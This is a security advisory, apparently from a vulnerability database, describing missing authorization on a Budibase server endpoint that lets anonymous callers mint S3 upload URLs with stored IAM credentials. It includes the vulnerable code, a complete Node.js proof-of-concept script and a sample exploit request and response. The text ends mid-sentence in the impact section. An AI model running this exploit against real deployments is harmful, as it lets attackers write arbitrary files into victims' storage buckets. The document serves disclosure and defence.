Improper authorization control for web services In @budibase/server

Description

Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials ## Summary The Budibase server route POST /api/attachments/:datasourceId/url (packages/server/src/api/routes/static.ts) is registered with only the recaptcha middleware. There is no authorized(...) middleware in the chain. The controller (packages/server/src/api/controllers/static/index.ts::getSignedUploadURL) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored accessKeyId / secretAccessKey, and returns an AWS Signature V4 pre-signed PutObjectCommand URL for the caller-supplied bucket and key. The bucket is not pinned to the datasource's configured bucket. The workspace context required by sdk.datasources.get is sourced by getWorkspaceIdFromCtx (packages/backend-core/src/utils/utils.ts) from any of: the x-budibase-app-id header, the JSON body appId, a path segment that begins with the workspace prefix, or ?appId=. auth.buildAuthMiddleware([], { publicAllowed: true }) runs before any of this and explicitly allows anonymous requests. The currentWorkspace middleware's "deny access to dev preview" branch only triggers under isBrowser(ctx) && !isApiKey(ctx); isBrowser checks the parsed User-Agent for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too. Net effect: an anonymous attacker who knows or can enumerate a workspace id (app_...) and an S3-source datasource id (ds_...) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the publicUrl so the attacker knows exactly where their PUT lands. Because bucket is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for. ## Affected code packages/server/src/api/routes/static.ts at HEAD 56d2a984 (master, 2026-05-18): ts import { permissions } from "@budibase/backend-core" import Router from "@koa/router" import { authorizedMiddleware as authorized } from "../../middleware/authorized" import recaptcha from "../../middleware/recaptcha" import { paramResource } from "../../middleware/resourceId" import * as controller from "../controllers/static" const { BUILDER, PermissionType, PermissionLevel } = permissions const router: Router = new Router() // ... router .post("/api/attachments/process", authorized(BUILDER), controller.uploadFile) .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) .post( "/api/attachments/:tableId/upload", recaptcha, paramResource("tableId"), authorized(PermissionType.TABLE, PermissionLevel.WRITE), controller.uploadFile ) // ... .post( "/api/attachments/:datasourceId/url", recaptcha, controller.getSignedUploadURL // <- no authorized(...) ) Note the asymmetry: every other mutating endpoint on this router carries an authorized(...) middleware. The signed-URL endpoint does not. packages/server/src/api/controllers/static/index.ts:595-645: ts export const getSignedUploadURL = async function (ctx) { let datasource try { const { datasourceId } = ctx.params datasource = await sdk.datasources.get(datasourceId, { enriched: true }) if (!datasource) { ctx.throw(400, "The specified datasource could not be found") } } catch (error) { ctx.throw(400, "The specified datasource could not be found") } let signedUrl, publicUrl const awsRegion = (datasource?.config?.region || "eu-west-1") as string if (datasource?.source === "S3") { const { bucket, key } = ctx.request.body || {} if (!bucket || !key) { ctx.throw(400, "bucket and key values are required") } try { let endpoint = datasource?.config?.endpoint if (endpoint && !utils.urlHasProtocol(endpoint)) { endpoint = `https://${endpoint}` } const s3 = new S3({ region: awsRegion, endpoint, credentials: { accessKeyId: datasource?.config?.accessKeyId as string, secretAccessKey: datasource?.config?.secretAccessKey as string, }, }) const params = { Bucket: bucket, Key: key } signedUrl = await getSignedUrl(s3, new PutObjectCommand(params)) if (endpoint) { publicUrl = `${endpoint}/${bucket}/${key}` } else { publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}` } } catch (error: any) { ctx.throw(400, error) } } ctx.body = { signedUrl, publicUrl } } sdk.datasources.get(datasourceId, { enriched: true }) (packages/server/src/sdk/workspace/datasources/datasources.ts) does the workspace DB read and also substitutes {{ env.* }} references in the config via processObjectSync, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built. recaptcha (packages/server/src/middleware/recaptcha.ts) short-circuits to next() whenever the workspace either is not a production workspace or does not have features.recaptchaEnabled = true on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the x-budibase-type: builder header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops. ## Reproduction Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries): js #!/usr/bin/env node // PoC: Unauthenticated S3 signed-upload-URL minting in Budibase // usage: node poc.js <budibase-base-url> <app-id> <datasource-id> "use strict" const http = require("http") const https = require("https") const { URL } = require("url") function postJson(targetUrl, headers, body) { return new Promise((resolve, reject) => { const u = new URL(targetUrl) const lib = u.protocol === "https:" ? https : http const payload = Buffer.from(JSON.stringify(body), "utf8") const req = lib.request( { method: "POST", protocol: u.protocol, hostname: u.hostname, port: u.port || (u.protocol === "https:" ? 443 : 80), path: u.pathname + u.search, headers: Object.assign( { "Content-Type": "application/json", "Content-Length": payload.length, // Deliberately not a recognised browser UA so the // currentWorkspace dev-preview redirect does not fire. "User-Agent": "budibase-poc/1.0", }, headers || {} ), }, res => { const chunks = [] res.on("data", c => chunks.push(c)) res.on("end", () => resolve({ status: res.statusCode, body: Buffer.concat(chunks).toString("utf8"), }) ) } ) req.on("error", reject) req.write(payload) req.end() }) } async function main() { const [baseUrl, appId, datasourceId] = process.argv.slice(2) if (!baseUrl || !appId || !datasourceId) { console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>") process.exit(2) } const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket" const key = process.env.POC_KEY || `pwn/${Date.now()}.html` const url = baseUrl.replace(/\/$/, "") + `/api/attachments/${encodeURIComponent(datasourceId)}/url` const resp = await postJson( url, { "x-budibase-app-id": appId }, { bucket, key } ) console.log(`HTTP ${resp.status}`) console.log(resp.body) } main().catch(err => { console.error(err) process.exit(1) }) Wire-level request: POST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1 Host: budibase.example:10000 x-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy Content-Type: application/json User-Agent: budibase-poc/1.0 Content-Length: 36 {"bucket":"victim-bucket","key":"x.html"} Response: HTTP/1.1 200 OK Content-Type: application/json { "signedUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject", "publicUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html" } The attacker then PUTs arbitrary bytes to signedUrl and they land at publicUrl, signed by — and IAM-scoped to — the victim's stored S3 credentials. The existing test that exercises the endpoint, packages/server/src/api/routes/tests/static.spec.ts:123-146, sends the same request with config.defaultHeaders() (a builder auth cookie). That confirms the request shape; no negative-auth test (.set({}) or publicHeaders()) exists for this route, which is how the missing authorized(...) slipped past code review. ## Impact - Confidentiality / Integrity: any anonymous internet user

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
Patched versions